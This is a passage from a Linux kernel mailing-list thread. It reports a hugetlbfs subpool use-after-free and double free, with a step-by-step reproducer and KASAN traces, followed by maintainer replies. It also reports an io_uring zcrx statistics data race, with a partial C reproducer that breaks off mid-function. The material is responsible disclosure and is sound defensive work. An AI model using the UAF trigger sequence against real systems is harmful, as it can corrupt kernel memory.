A hugetlbfs mount that sets only min_size= (no size=) leaves hugepage_subpool::used_hpages unmaintained and clamps ::rsv_hpages to min_hpages, so subpool_is_free() can report "free" while folios that still carry the subpool pointer are in flight. The destroy decision is taken under spool->lock but the field reads, hugetlb_acct_memory() and kfree() happen after the unlock, and only superblock handles are counted (spool->count), not folios. A page that a user pinned with vmsplice() outlives evict_inodes() and put_super(); when the pin is finally released, free_huge_folio() calls hugepage_subpool_put_pages() on the freed object:
it spin_lock_irqsave()s the freed slab and dereferences spool->hstate / spool->min_hpages. KASAN reports slab-use-after-free at the lock acquisition; on a kernel without KASAN/quarantine the same path reaches a second kfree(spool) and hugetlb_acct_memory(h, -min_hpages), i.e. a double free plus an unsigned underflow of hstate.resv_huge_pages. The whole PoC-A sequence is single-threaded and deterministic - no race window needs to be widened - and three variants reproduce on 7.3.

Quoted 1 line

The detailed description:

Thanks for the report!

I have an AI generated report+fix for this problem pending for rework already. ... but I'm focusing on non-hugetlb first, I will get back to hugetlb soon (or delegate :) ).

Signature · 3 lines
Cheers,

David
#88 lore raw

Re: mm/hugetlb: a min_size-only hugetlbfs subpool is kfree()d before its last pinned page is released, so free_huge_folio() takes a spinlock on freed memory (UAF)

In reply to 徐晗翔

Hi Ackerley,

does your series [1] actually fix this? What's the status of that?

[1]
https://lore.kernel.org/linux-mm/20260916-hugetlb-subpool-always-track-used-v3-0-38aae9b5ccdd@google.com/

Quoted 217 lines · 徐晗翔

A hugetlbfs mount that sets only min_size= (no size=) leaves hugepage_subpool::used_hpages unmaintained and clamps ::rsv_hpages to min_hpages, so subpool_is_free() can report "free" while folios that still carry the subpool pointer are in flight. The destroy decision is taken under spool->lock but the field reads, hugetlb_acct_memory() and kfree() happen after the unlock, and only superblock handles are counted (spool->count), not folios. A page that a user pinned with vmsplice() outlives evict_inodes() and put_super(); when the pin is finally released, free_huge_folio() calls hugepage_subpool_put_pages() on the freed object:
it spin_lock_irqsave()s the freed slab and dereferences spool->hstate / spool->min_hpages. KASAN reports slab-use-after-free at the lock acquisition; on a kernel without KASAN/quarantine the same path reaches a second kfree(spool) and hugetlb_acct_memory(h, -min_hpages), i.e. a double free plus an unsigned underflow of hstate.resv_huge_pages. The whole PoC-A sequence is single-threaded and deterministic - no race window needs to be widened - and three variants reproduce on 7.3.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 #6 SMP PREEMPT_DYNAMIC (gcc 13.3.0), built from the unmodified release tree used for the audit:
mm/hugetlb.c md5 cea0533ab009942534c1da41717ec926, fs/hugetlbfs/inode.c md5 c63e24ddfa05e6d43ef89dfcb91da251.
Config: CONFIG_KASAN=y, CONFIG_KASAN_GENERIC=y, CONFIG_KASAN_OUTLINE=y, CONFIG_KASAN_STACK=y, CONFIG_HUGETLBFS=y, CONFIG_HUGETLB_PAGE=y. QEMU/KVM x86_64 guest, 4 vCPU / 4 GiB, booted with "hugepages=8 default_hugepagesz=2M" (8 x 2 MiB pages available). All line numbers below are from that tree.

* Mechanism

Three layers combine; each one alone would be survivable.

1) In a min-only subpool the accounting is no longer tied to folios. hugepage_subpool_get_pages() only maintains used_hpages inside the "if (spool->max_hpages != -1)" branch (mm/hugetlb.c:213-219), and its min branch only runs "if (spool->min_hpages != -1 && spool->rsv_hpages)" (:222-231); with rsv_hpages == 0 it returns the initial ret = delta and records nothing. hugepage_subpool_put_pages() therefore sees used_hpages == 0 forever, executes the min branch on every put (:265-276), adds delta back to rsv_hpages and clamps it to min_hpages (:268-269). Consequently subpool_is_free() (:129-139) degenerates to "rsv_hpages == min_hpages" and keeps returning true after the first put. The comment at :270-273 explicitly acknowledges that put_super may not be able to free the spool because pages are still out, and defers the free to the page path - i.e. pages outliving the superblock is a designed-for situation, but the code only counts superblock handles, not the pages.

2) The folio keeps a raw pointer, and count tracks only superblock handles. spool->count is set to 1 in hugepage_new_subpool() (:169) and decremented only in hugepage_put_subpool() (:192); its only callers are hugetlbfs_put_super() (fs/hugetlbfs/inode.c:1131, in the code next to :1132) and the fill_super error path (fs/hugetlbfs/inode.c:1421). Meanwhile alloc_hugetlb_folio() unconditionally stores the bare pointer with hugetlb_set_folio_subpool(folio, spool) (mm/hugetlb.c:3043), and free_huge_folio() copies it into a local before clearing the folio field (mm/hugetlb.c:1681, :1688, :1710), so clearing the field cannot save the later user.

3) The destroy decision and the destroy action are not one atomic step.

     unlock_or_release_subpool() (mm/hugetlb.c:141-157):

         bool free_subpool = subpool_is_free(spool);      /* :144, lock held */
         spin_unlock_irqrestore(&spool->lock, irq_flags); /* :149 */
         if (free_subpool) {
                 if (spool->min_hpages != -1)             /* :152 */
                         hugetlb_acct_memory(spool->hstate, /* :153 */
                                             -spool->min_hpages);
                 kfree(spool);                            /* :155 */
         }

     There is no "dying" flag and no ownership claim, so a second entrant
     that computed free_subpool == true before the first kfree() (or any
     later entrant that runs after it) reads spool->hstate and
     spool->min_hpages from freed memory and kfree()s the same object
     again.  hugetlb_acct_memory() itself drops and retakes
     hugetlb_lock inside return_unused_surplus_pages()
     (mm/hugetlb.c:2347-2388, with update_and_free_pages_bulk() in the
     middle), which makes the post-unlock window schedulable.

The page-cache reference accounting is the reason a page can be the last user: insertion in hugetlb_add_to_page_cache() clears restore_reserve (mm/hugetlb.c:5715), so the folio's free path always takes the hugepage_subpool_put_pages() branch (:1703-1712); the page cache itself holds folio_nr_pages() references (mm/filemap.c:848-950, folio_ref_add(folio, 512) for a 2 MiB page) and removal drops exactly that many (mm/filemap.c:230-240); the faulting PTE reference is returned by the zap path, whose mmu-gather entry puts one reference (mm/mmu_gather.c:214-217, mm/folio.c:91-108, mm/filemap.c:1052-1078). With an extra vmsplice() pin (fs/splice.c:1447-1495, lib/iov_iter.c:1063-1128, released by fs/splice.c:108-113 -> put_page()), evict_inodes() (fs/super.c:737) removes the page-cache reference but the folio survives, put_super() (fs/super.c:750-751 -> fs/hugetlbfs/inode.c:1125-1136) frees the spool, and the later unpin reaches free_huge_folio() with a dangling spool.

Concrete PoC-A sequence (all as root, single thread):
1. mount -t hugetlbfs -o min_size=0 none /mnt/huge (min_size=0 is accepted: fs/hugetlbfs/inode.c:1270-1345 parses it, :1245-1265 turns it into min_hpages = 0, :1345-1370 only rejects min > max when max was given; the spool is created at fs/hugetlbfs/inode.c:1396-1402)
2. ftruncate(fd, 2M); mmap(..., MAP_SHARED); fault page 0 (allocates a folio, stores the subpool pointer, adds it to the page cache)
3. vmsplice(pipe[1], {addr, 4096}, 1, 0) - pin one 4 KiB subpage
4. munmap(); close(fd) - zap returns the PTE ref,
evict_inode removes the page-cache refs and calls hugetlb_unreserve_pages() (fs/hugetlbfs/inode.c:552-591); the folio still has the pin
5. umount - evict_inodes() finds
nothing to evict, hugetlbfs_put_super() drops the last handle, subpool_is_free() is true (rsv_hpages == min_hpages == 0), hugetlb_acct_memory(h, 0) is a no-op and kfree(spool) runs
6. read(pipe[0], ...) - put_page() drops the
last reference -> free_huge_folio() -> hugepage_subpool_put_pages() spins on and reads the freed object

PoC-B is the same with min_size=2M: mmap 4M, fault+pin page 0 only, ftruncate(fd, 2M) puts rsv_hpages back to min_hpages through hugetlb_unreserve_pages() -> hugepage_subpool_put_pages() (mm/hugetlb.c:6861-6900), then the same close/umount/unpin sequence. Because min_hpages == 1, the second destroy also calls hugetlb_acct_memory(h, -1), and struct hstate::resv_huge_pages is an unsigned long (include/linux/hugetlb.h:667), so it underflows to 2^64-1.

* Reproducer (attached: hugsp1.c) and results on 7.3

hugsp1.c is a self-contained static userspace program; no kernel modification and no module needed. It mounts hugetlbfs itself and has four modes: poca (min_size=0), pocb (min_size=2M + ftruncate), poca2 (two pinned pages) and ctl (negative control that unpins before umount).

    # build
    gcc -O2 -static -o hugsp1 hugsp1.c
    # boot the KASAN kernel with: hugepages=8 default_hugepagesz=2M
    # run (as root, in the guest)
    ./hugsp1 ctl        # expect: "ctl done", no KASAN report
    ./hugsp1 poca       # expect: slab-use-after-free after umount
    ./hugsp1 pocb       # same, plus acct(-min) -> resv_huge_pages underflow
    ./hugsp1 poca2      # two delayed frees

Observed on the 7.3.0 KASAN guest (single-shot run, panic on first report; KASAN multi_shot=1 runs show the same report repeatedly):

- poca : 1 report at 15.583 s, "BUG: KASAN: slab-use-after-free in _raw_spin_lock_irqsave+0x77/0xe0", "Write of size 4" - the queued_spin_lock() inside hugepage_subpool_put_pages(); allocation stack: hugepage_new_subpool+0x37/0xd0 <- hugetlbfs_fill_super+0x16b/0x390 <- path_mount <- __x64_sys_mount; free stack: kfree <- hugetlbfs_put_super+0x3e/0x50 <- generic_shutdown_super <- kill_anon_super <- cleanup_mnt; use stack: hugepage_subpool_put_pages.part.0+0x19/0x1c0 <- free_huge_folio+0x13e/0x2f0 <- __folio_put+0x13b/0x150 <- page_cache_pipe_buf_release+0x7d/0xa0 <- anon_pipe_read+ 0x290/0x630 (the "kfree <- hugetlbfs_put_super+0x3e" shape is the tail call jmp from hugepage_put_subpool()).
- pocb : same report at 13.929 s.
- poca2: same report at 14.400 s.
- ctl : 0 KASAN reports (the pin is released while count == 1, so subpool_is_free() is false and nothing is freed).
- a 70 s multi_shot run produced 51 reports plus a spin-loop hang (8452 printk messages dropped, VM killed by the harness timeout): the freed object is re-used by KASAN's quarantine metadata, which overwrites spool->lock and leaves the lock slot non-zero, so the second-entrant path spins forever instead of reaching the second kfree().

With CONFIG_KASAN=n the same unpin path is expected to reach the second kfree(spool) (and, for min_size>0, hugetlb_acct_memory(h, -1) which subtracts from an unsigned long). The audit report includes a line-by-line model of that path and a self-check list (it is not claimed as dynamically observed here).

* Suggested direction

The fix needs both layers, otherwise each half leaves the other open:

(a) make the destroy decision account for folios, not just superblock handles. Either maintain used_hpages for every folio regardless of max_hpages (and let subpool_is_free() require used_hpages == 0), or add an active_folios counter incremented in hugetlb_set_folio_subpool()/alloc_hugetlb_folio() and decremented in free_huge_folio(); in min-only mode subpool_is_free() must not become true while any folio still references the spool.

(b) make destroy ownership atomic. Take a "dying" bit under spool->lock in unlock_or_release_subpool(), and let only the context that transitions from live to dying read min_hpages/hstate, call hugetlb_acct_memory() and kfree(); every other entrant must return without touching the object after the unlock. The current shape (decide under lock, act after unlock, no claim) is a UAF even without the accounting bug.

(c) preferably do not store a bare spool pointer in a folio at all (reference-count the subpool per folio, or make the unmap/put path drain before the superblock goes away); as defense in depth, WARN_ONCE when a folio still carries a subpool pointer at put_super() time would have made this visible in testing.

Happy to test any proposal; the reproducer and the KASAN logs are small and repeatable.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

Signature · 3 lines
Cheers,

David
#89 lore raw

Re: mm/hugetlb: a min_size-only hugetlbfs subpool is kfree()d before its last pinned page is released, so free_huge_folio() takes a spinlock on freed memory (UAF)

Quoted 7 lines · David Hildenbrand (Arm)

Hi Ackerley,

does your series [1] actually fix this? What's the status of that?

[1]
https://lore.kernel.org/linux-mm/20260916-hugetlb-subpool-always-track-used-v3-0-38aae9b5ccdd@google.com/

Hi!

Yes, "mm/hugetlb: Track used_hpages when getting/putting pages from subpool" fixes this bug.

I've been tied up with other work since [1] was posted.

I have a set of reproducers locally for the various combinations of min_size, max_size, and both defined, while taking various paths (reservations vs actual allocations).

The plan was to always track used_hpages, which simplifies the accounting and it does fix all the reproducers I have.

I thought in addition to simplifying and fixing all those paths, it would always fix races, but AI showed me a repro with races that broke the model.

Because of the repro, I planned to re-evaluate to see if there's a better model/clean fix but haven't got around to that.

I'll try to get to it in the next few weeks?

Ackerley

Quoted 10 lines · 徐晗翔
Quoted 3 lines

[...snip...]

--
Cheers,

David

#90 lore raw

Re: mm/hugetlb: a min_size-only hugetlbfs subpool is kfree()d before its last pinned page is released, so free_huge_folio() takes a spinlock on freed memory (UAF)

Quoted 24 lines · Ackerley Tng
Quoted 7 lines · David Hildenbrand (Arm)

Hi Ackerley,

does your series [1] actually fix this? What's the status of that?

[1]
https://lore.kernel.org/linux-mm/20260916-hugetlb-subpool-always-track-used-v3-0-38aae9b5ccdd@google.com/

Hi!

Yes, "mm/hugetlb: Track used_hpages when getting/putting pages from subpool" fixes this bug.

I've been tied up with other work since [1] was posted.

I have a set of reproducers locally for the various combinations of min_size, max_size, and both defined, while taking various paths (reservations vs actual allocations).

The plan was to always track used_hpages, which simplifies the accounting and it does fix all the reproducers I have.

Quoted 8 lines

I thought in addition to simplifying and fixing all those paths, it would always fix races, but AI showed me a repro with races that broke the model.

Because of the repro, I planned to re-evaluate to see if there's a better model/clean fix but haven't got around to that.

I'll try to get to it in the next few weeks?

Thanks. It's a UAF, so higher priority. But I think admin interaction is required to trigger the UAF, so lower priority :)

Signature · 3 lines
Cheers,

David
author
#91 lore raw

io_uring/zcrx: copy statistics lose updates when one ifq is shared by multiple rings (Data race)

In reply to Greg KH

An io_uring zero-copy RX ifq can be exported by one ring and imported by another. Both rings then perform receive-zc on their own TCP sockets, but they share the same struct io_zcrx_ifq and therefore the same ifq->notif_stats. The statistics update is not atomic:

    static void zcrx_stat_add(__u64 *p, s64 v)
    {
        WRITE_ONCE(*p, READ_ONCE(*p) + v);
    }

io_uring/zcrx.c:1337-1340. It is called for copy_count and copy_bytes from io_zcrx_copy_frag() at zcrx.c:1770-1771. There is no ifq-level lock in this path. lock_sock() in io_zcrx_tcp_recvmsg() is per TCP socket, the ring's uring_lock is per ring, alloc_lock only protects fallback niov allocation and is released before the copy, and ctx_lock/notification is taken after the statistics update and is not involved when event_desc.type_mask == 0. Two CPUs can therefore read the same old value, add their own increments, and write back the same new value: one update is lost.

The effect is limited to the UAPI cumulative copy statistics (struct zcrx_stats at include/uapi/linux/io_uring/zcrx.h:83-86). The values are user-mappable diagnostic data; the race does not control buffer lifetime, DMA, reference counts, or packet contents.

The detailed description:

* Test environment / affected version

Linux 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC, vanilla mainline 7.3, x86_64 QEMU/KVM guest, 8 vCPUs, 4 GiB, CONFIG_KASAN=y. The tested io_uring/zcrx.c is byte-identical to v7.3: SHA-256 6e4e9828c84179b7a1877f0f843cc230f865d42665cbd0d43441493c67c70980. The kernel was not modified; no delay or other amplification was inserted. bzImage SHA-256:
cdc1122bc0bdd2c65f92650bef919ff7b1f15d42bf64e3b0b079352fccf7b104. Relevant config includes CONFIG_IO_URING=y, CONFIG_IO_URING_ZCRX=y and CONFIG_KASAN=y.

* Mechanism

Shared object and two writers:

- Ring A registers a ZCRX_REG_NODEV ifq with a user-memory area and a stats-only event descriptor: event_desc.flags = ZCRX_EVENT_DESC_FLAG_STATS and event_desc.type_mask = 0. The stats pointer is validated and stored at zcrx.c:935-960 (pointer at 956, memset at 957). Because type_mask is zero, zcrx_set_ring_ctx() is not called (zcrx.c:1092-1093) and master_ctx is NULL; this is valid and statistics still update.
- A exports the ifq with ZCRX_CTRL_EXPORT. zcrx_export() checks that the control fields are zero and increments refs and user_refs at zcrx.c:805-806, attaches the original ifq to the [zcrx] file at 808-809, and installs an fd.
- Ring B imports the same ifq with ZCRX_REG_IMPORT. import_zcrx() requires DEFER_TASKRUN plus CQE32 or CQE_MIXED, rejects nonzero if_rxq/rq_entries/area_ptr/region_ptr/event_desc, takes the same ifq at zcrx.c:861, increments refs/user_refs at 862-863, and stores it in B's xarray at 880.
- A and B each submit a multishot IORING_OP_RECV_ZC on a different TCP socket. A's and B's recv paths can execute io_zcrx_copy_frag() concurrently.

The missing serialization:

- zcrx_stat_add() is a plain load-add-store, not an atomic RMW.
- lock_sock(sk) at zcrx.c:1927 only serializes operations on one socket; A and B use different sockets.
- uring_lock is per ring and does not cross rings.
- alloc_lock at zcrx.c:1663 only covers io_alloc_fallback_niov(); it is not held during the copy or the statistics update.
- ctx_lock at zcrx.c:1351 protects notification state and master_ctx, is taken after the statistics update, and is not reached at all for type_mask == 0.
- no pp_lock or rq.lock is held by the copy path.

Minimal interleaving for one field:

CPU 0: read copy_bytes == V
CPU 1: read copy_bytes == V
CPU 0: write V + len0
CPU 1: write V + len1 (len0 is lost)

copy_count has the same pattern with v = 1. The final values can be lower than the number/bytes of data CQEs actually delivered, and the two fields can be mutually inconsistent.

The paged-fragment requirement is important: the linear skb head is handled by io_zcrx_copy_chunk() (zcrx.c:1710-1758) and does not update stats. A non-net_iov paged fragment enters io_zcrx_copy_frag() through io_zcrx_recv_frag() at zcrx.c:1785-1786, which is where zcrx_stat_add() is called. A pure linear send may therefore produce CQEs without exercising the race.

* Trigger model

Requirements:

1. Two rings, each created with DEFER_TASKRUN, SINGLE_ISSUER and CQE32 or CQE_MIXED (the io_uring_setup requirement for DEFER_TASKRUN is in io_uring/io_uring.c:2832-2833).
2. Ring A has a stat-enabled NODEV ifq with a user-memory area and a valid stats_offset; event_desc.type_mask may be zero.
3. A exports the ifq and B imports it, so both use the same ifq and the same notif_stats address.
4. A and B receive on different TCP sockets (different lock_sock instances).
5. Paged non-net_iov skb fragments enter io_zcrx_copy_frag(); a sendfile()/splice/MSG_ZEROCOPY style sender on loopback is sufficient in the reproducer.
6. The two updates overlap in the load-add-store window.

No special hardware is needed for the NODEV path; a loopback TCP pair is enough. The existing reproducer uses two independent loopback connections and two sender threads.

* Reproducer (attached: zcrx_verify.c) and results on 7.3

zcrx_verify.c is a self-contained raw-syscall program; no liburing is required. It creates two rings A/B, registers the NODEV ifq on A, exports it, imports it on B, drives one multishot IORING_OP_RECV_ZC per ring, returns each data CQE's rcqe->off as an RQE, and calls IORING_REGISTER_ZCRX_CTRL with ZCRX_CTRL_FLUSH_RQ on the owning ring. FLUSH_RQ is required on the NODEV path: there is no page_pool automatic refill, so without it the area is exhausted and the run stops. FLUSH_RQ must be issued by the thread that owns the ring (otherwise the kernel returns -EEXIST).

Build:

      gcc -static -O2 -g -pthread -Wall -Wextra \
        -Ilinux-7.3/include/uapi -Ilinux-7.3/include \
        -o zcrx_verify zcrx_verify.c

Run: boot the 7.3 KASAN bzImage under QEMU/KVM with a custom initramfs whose /init runs /zcrx_verify, with 8 vCPUs and 4 GiB. The program takes the run time in seconds as its argument. The dual-ring log was captured with a 0-error clean run; SINGLE=1 runs the same binary with only ring A as a control.

Results (unmodified v7.3, no test delay):

    single ring, zcrx-single3.log:
      data_cqes = 223000, data_bytes = 859635712
      copy_count = 223000, copy_bytes = 859635712
      delta_count = 0, delta_bytes = 0

    dual ring, zcrx-final-clean.log (0 error CQEs):
      data_cqes = 76888, data_bytes = 296353792
      copy_count = 76863, copy_bytes = 296243359
      delta_count = -25, delta_bytes = -110433

    additional dual-ring trials:
      -8245 bytes / -3 count, -24470 bytes / -6 count,
      -77824 bytes / -17 count

The single-ring control is exact at 223,000 CQEs / 859 MB, so the accounting convention is consistent and there is no systemic linear-head or CQ-loss bias in this test. The dual-ring runs are consistently negative; the clean run has zero error CQEs and still loses 110,433 bytes and 25 count increments. copy_count counts per-fragment updates while the data CQE count is per completed buffer, so the count delta is not expected to be numerically equal to the CQE delta; copy_bytes is the primary signal. No KASAN report, WARN or Oops was observed.

* Suggested direction

Serialize the two updates per ifq, e.g. add a spinlock_t stats_lock to struct io_zcrx_ifq, initialize it in io_zcrx_ifq_alloc(), and hold it around both zcrx_stat_add() calls in io_zcrx_copy_frag(), releasing it before zcrx_send_notif(). A lockless alternative is to keep private atomic64 counters and publish a consistent snapshot, or to document the fields as best-effort. READ_ONCE()/WRITE_ONCE() alone do not make the read-modify-write atomic and do not fix the lost update.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// Test-only PoC for io_uring ZCRX shared-ifq copy statistics lost update. // Runs in the verification VM as root. Uses raw syscalls (no liburing). #define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <linux/io_uring.h>
#include <linux/io_uring/zcrx.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <net/if.h>

#ifndef __NR_io_uring_setup
#define __NR_io_uring_setup 425
#endif
#ifndef __NR_io_uring_enter
#define __NR_io_uring_enter 426
#endif
#ifndef __NR_io_uring_register
#define __NR_io_uring_register 427
#endif

#define PAGE 4096UL
#define AREA_PAGES 16384
#define AREA_SIZE (PAGE * AREA_PAGES)
#define REGION_SIZE 262144
#define RQ_ENTRIES 4096
#define STATS_OFF 131072
#define CQE_SIZE 32

struct ring {
    int fd;
    unsigned *sq_head, *sq_tail, *sq_mask, *sq_array;
    struct io_uring_sqe *sqes;
    unsigned *cq_head, *cq_tail, *cq_mask;
    char *cqes;
    unsigned entries;
};

static int io_uring_setup(unsigned e, struct io_uring_params *p) { return syscall(__NR_io_uring_setup, e, p); } static int io_uring_enter(int fd, unsigned to_submit, unsigned min_complete, unsigned flags) {

    return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, NULL, 0);
}
static int io_uring_register(int fd, unsigned op, void *arg, unsigned nr) {
    return syscall(__NR_io_uring_register, fd, op, arg, nr);
}

static int setup_ring(struct ring *r, unsigned entries, unsigned flags)

{
    struct io_uring_params p;
    memset(&p, 0, sizeof(p));
    p.flags = flags;
    r->fd = io_uring_setup(entries, &p);
    if (r->fd < 0) { perror("io_uring_setup"); return -1; }
    r->entries = p.sq_entries;
    size_t sq_sz = p.sq_off.array + p.sq_entries * sizeof(unsigned);
    size_t cq_sz = p.cq_off.cqes + p.cq_entries * CQE_SIZE;
    size_t map_sz = sq_sz > cq_sz ? sq_sz : cq_sz;
    char *base = mmap(NULL, map_sz, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_POPULATE, r->fd, IORING_OFF_SQ_RING);
    if (base == MAP_FAILED) { perror("mmap sq"); return -1; }
    char *cqbase;
    if (p.features & IORING_FEAT_SINGLE_MMAP) {
        cqbase = base;
    } else {
        cqbase = mmap(NULL, cq_sz, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_POPULATE, r->fd, IORING_OFF_CQ_RING);
        if (cqbase == MAP_FAILED) { perror("mmap cq"); return -1; }
    }
    r->sq_head = (unsigned *)(base + p.sq_off.head);
    r->sq_tail = (unsigned *)(base + p.sq_off.tail);
    r->sq_mask = (unsigned *)(base + p.sq_off.ring_mask);
    r->sq_array = (unsigned *)(base + p.sq_off.array);
    r->sqes = mmap(NULL, p.sq_entries * sizeof(struct io_uring_sqe), PROT_READ|PROT_WRITE,
                   MAP_SHARED|MAP_POPULATE, r->fd, IORING_OFF_SQES);
    if (r->sqes == MAP_FAILED) { perror("mmap sqes"); return -1; }
    r->cq_head = (unsigned *)(cqbase + p.cq_off.head);
    r->cq_tail = (unsigned *)(cqbase + p.cq_off.tail);
    r->cq_mask = (unsigned *)(cqbase + p.cq_off.ring_mask);
    r->cqes = cqbase + p.cq_off.cqes;
    printf("ring fd=%d entries=%u cq=%u feat=0x%x single=%d\n", r->fd, p.sq_entries, p.cq_entries,
           p.features, !!(p.features & IORING_FEAT_SINGLE_MMAP));
    return 0;
}

static void submit_recvzc(struct ring *r, int sock, unsigned ifq_idx, uint64_t ud)

{
    unsigned tail = __atomic_load_n(r->sq_tail, __ATOMIC_RELAXED);
    unsigned idx = tail & *r->sq_mask;
    struct io_uring_sqe *sqe = &r->sqes[idx];
    memset(sqe, 0, sizeof(*sqe));
    sqe->opcode = IORING_OP_RECV_ZC;
    sqe->fd = sock;
    sqe->len = 0;
    sqe->ioprio = IORING_RECV_MULTISHOT;
    sqe->zcrx_ifq_idx = ifq_idx;
    sqe->user_data = ud;
    r->sq_array[idx] = idx;
    __atomic_store_n(r->sq_tail, tail + 1, __ATOMIC_RELEASE);
    int ret = io_uring_enter(r->fd, 1, 0, 0);
    if (ret < 0) fprintf(stderr, "enter submit: %s\n", strerror(errno));
}

static int make_loop_pair(int *rx, int *tx)

{
    int lfd = socket(AF_INET, SOCK_STREAM, 0);
    if (lfd < 0) { perror("socket l"); return -1; }
    int one = 1;
    setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    struct sockaddr_in a; memset(&a, 0, sizeof(a));
    a.sin_family = AF_INET; a.sin_addr.s_addr = htonl(INADDR_LOOPBACK); a.sin_port = 0;
    if (bind(lfd, (void *)&a, sizeof(a)) < 0) { perror("bind"); return -1; }
    if (listen(lfd, 8) < 0) { perror("listen"); return -1; }
    socklen_t alen = sizeof(a);
    if (getsockname(lfd, (void *)&a, &alen) < 0) { perror("getsockname"); return -1; }
    int c = socket(AF_INET, SOCK_STREAM, 0);
    if (c < 0) { perror("socket c"); return -1; }
    if (connect(c, (void *)&a, sizeof(a)) < 0) { perror("connect"); return -1; }
    int s = accept(lfd, NULL, NULL);
    if (s < 0) { perror("accept"); return -1; }
    close(lfd);
    setsockopt(c, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
    setsockopt(s, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
    *rx = c; *tx = s;
    return 0;
}
struct zcrx {
    struct ring ring;
    unsigned ifq_id;
    unsigned rq_entries;
    uint64_t area_token;
    char *region;
    uint32_t *rq_tail;
    struct io_uring_zcrx_rqe *rqes;
    uint64_t *stats;
    pthread_mutex_t *rq_lock;
    pthread_mutex_t rq_lock_storage;
    int ctrl_fd;
    volatile int *stop;
    uint64_t cqes_data;
    uint64_t bytes_data;
    int errors;
};

static void return_cqe(struct zcrx *z, struct io_uring_cqe *cqe)

{
    struct io_uring_zcrx_cqe *rcqe = (struct io_uring_zcrx_cqe *)(cqe + 1);
    uint64_t off = rcqe->off;
    int res = cqe->res;
    if (res <= 0) return;
    pthread_mutex_lock(z->rq_lock);
    uint32_t tail = __atomic_load_n(z->rq_tail, __ATOMIC_RELAXED);
    struct io_uring_zcrx_rqe *rqe = &z->rqes[tail & (z->rq_entries - 1)];
    rqe->off = (off & ~IORING_ZCRX_AREA_MASK) | z->area_token;
    rqe->len = (uint32_t)res;
    rqe->__pad = 0;
    __atomic_store_n(z->rq_tail, tail + 1, __ATOMIC_RELEASE);
    struct zcrx_ctrl ctrl; memset(&ctrl, 0, sizeof(ctrl));
    ctrl.zcrx_id = z->ifq_id;
    ctrl.op = ZCRX_CTRL_FLUSH_RQ;
    int ret = io_uring_register(z->ctrl_fd, IORING_REGISTER_ZCRX_CTRL, &ctrl, 0);
    if (ret < 0) {
        if (z->errors++ < 5) fprintf(stderr, "flush err: %s\n", strerror(errno));
    }
    pthread_mutex_unlock(z->rq_lock);
}

static void *recv_loop(void *arg)

{
    struct zcrx *z = arg;
    unsigned head = __atomic_load_n(z->ring.cq_head, __ATOMIC_RELAXED);
    while (!*z->stop) {
        int ret = io_uring_enter(z->ring.fd, 0, 0, IORING_ENTER_GETEVENTS);
        if (ret < 0) {
            if (errno == EINTR || errno == EAGAIN) { usleep(50); continue; }
            fprintf(stderr, "enter wait: %s\n", strerror(errno));
            usleep(50);
            continue;
        }
        unsigned tail = __atomic_load_n(z->ring.cq_tail, __ATOMIC_ACQUIRE);
        while (head != tail) {
            struct io_uring_cqe *cqe = (struct io_uring_cqe *)(z->ring.cqes + (head & *z->ring.cq_mask) * CQE_SIZE);
            if (cqe->res > 0) {
                z->cqes_data++;
                z->bytes_data += (uint64_t)cqe->res;
                return_cqe(z, cqe);
            } else if (cqe->res < 0 && z->errors++ < 5) {
                fprintf(stderr, "cqe res=%d flags=0x%x\n", cqe->res, cqe->flags);
            }
            head++;
        }
        __atomic_store_n(z->ring.cq_head, head, __ATOMIC_RELEASE);
        usleep(50);
    }
    return NULL;
}

struct sender_arg { int fd; int file_fd; volatile int *stop; uint64_t bytes; }; static void *send_loop(void *arg)

{
    struct sender_arg *s = arg;
    char buf[65536];
    off_t off = 0;
    while (!*s->stop) {
        ssize_t n = sendfile(s->fd, s->file_fd, &off, sizeof(buf));
        if (n > 0) { s->bytes += n; continue; }
        if (n < 0 && (errno == EAGAIN || errno == EINTR)) continue;
        off = 0;
        if (n == 0) continue;
        break;
    }
    return NULL;
}

static void bring_lo_up(void)

{
    int fd = socket(AF_INET, SOCK_DGRAM, 0);
    struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "lo");
    if (ioctl(fd, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
        ioctl(fd, SIOCSIFFLAGS, &ifr);
    }
    close(fd);
}

static int make_data_file(void)

{
    int fd = open("/tmp/zcrx-data", O_CREAT|O_RDWR|O_TRUNC, 0600);
    if (fd < 0) { perror("open data"); return -1; }
    char *buf = malloc(1 << 20);
    if (!buf) return -1;
    for (int i = 0; i < (1 << 20); i++) buf[i] = (char)(i * 7 + 1);
    if (write(fd, buf, 1 << 20) != (1 << 20)) { perror("write data"); return -1; }
    free(buf);
    lseek(fd, 0, SEEK_SET);
    return fd;
}
struct b_arg {
    struct zcrx *z;
    int export_fd;
    int rx;
    unsigned flags;
    volatile int *ready;
};

static void *b_thread(void *arg)

{
    struct b_arg *a = arg;
    struct zcrx *z = a->z;
    if (setup_ring(&z->ring, 4096, a->flags) < 0) { *a->ready = -1; return NULL; }
    struct io_uring_zcrx_ifq_reg ireg; memset(&ireg, 0, sizeof(ireg));
    ireg.if_idx = a->export_fd; ireg.flags = ZCRX_REG_IMPORT;
    int r = io_uring_register(z->ring.fd, IORING_REGISTER_ZCRX_IFQ, &ireg, 1);
    if (r < 0) { fprintf(stderr, "import: %s\n", strerror(errno)); *a->ready = -1; return NULL; }
    z->ifq_id = ireg.zcrx_id;
    z->ctrl_fd = z->ring.fd;
